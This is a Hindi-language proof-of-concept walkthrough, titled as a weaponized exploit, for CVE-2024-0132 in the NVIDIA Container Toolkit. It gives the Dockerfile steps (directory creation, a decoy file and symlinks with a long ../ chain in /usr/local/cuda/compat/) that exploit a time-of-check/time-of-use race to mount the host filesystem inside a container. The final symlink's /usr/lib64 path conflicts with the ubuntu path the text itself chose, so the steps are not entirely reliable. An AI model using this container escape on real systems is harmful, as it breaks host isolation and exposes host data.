
CVE-2024-0132 – पूर्ण रूप से हथियारबद्ध NVIDIA Container Toolkit एक्सप्लॉइट
CVE-2024-0132 PoC
चलिए एक बेस इमेज चुनकर शुरू करते हैं। सिस्टम में लाइब्रेरीज़ की व्यवस्था इस पर निर्भर करती है कि वह क्या होगी। उदाहरण के लिए, alpine के लिए यह /usr/lib64/ होगा, ubuntu के लिए यह /usr/lib/x86_64-linux-gnu होगा। हम बेस इमेज के रूप में ubuntu का उपयोग करेंगे।
FROM ubuntu
Nvidia कंटेनर टूलकिट कंटेनर के अंदर /usr/local/cuda/compat/ में लाइब्रेरीज़ की जाँच करता है और फिर उन्हें मुख्य लाइब्रेरी निर्देशिका में माउंट करता है, इस इमेज (ubuntu) के लिए यह /usr/lib/x86_64-linux-gnu होगा।
लिंक भी माउंट किए जाते हैं, इसलिए आप इमेज से किसी भी फ़ाइल और निर्देशिका को /usr/lib/x86_64-linux-gnu पर माउंट कर सकते हैं। यह जाँचता है कि लिंक कंटेनर के अंदर हल किया गया है, यह पथ ट्रैवर्सल के लिए एकाधिक ../ का उपयोग नहीं कर सकता है। हालाँकि, /usr/local/cuda/compat/ के माध्यम से इन-कंटेनर माउंट का दो बार उपयोग करके इसे दरकिनार किया जा सकता है, इसलिए TOCTOU।
/usr/local/cuda/compat/ से माउंट करने की प्रक्रिया के बारे में और पढ़ें:
RUN mkdir -p /usr/local/cuda/compat/
दो निर्देशिकाएँ बनाएँ:
test की सामग्री के साथ एक सामान्य फ़ाइल होगी।RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
फ़िल्टर को संतुष्ट करने के लिए libdxcore.so नाम चुना गया है। प्रमुख संस्करण (1337) वास्तविक ड्राइवर संस्करण से भिन्न होना चाहिए।
/usr/local/cuda/compat/ में दो लिंक बनाएँ:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ की सामग्री को /pwn/libdxcore.so.1337/ से बदल देगा।RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs को /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs पर माउंट करता है। जाँच के दौरान यह एक सामान्य फ़ाइल होगी, लेकिन माउंट के समय यह एक लिंक होगी जो /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs में थी, इस प्रकार होस्ट फ़ाइलसिस्टम /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/ पर माउंट हो जाएगा।RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2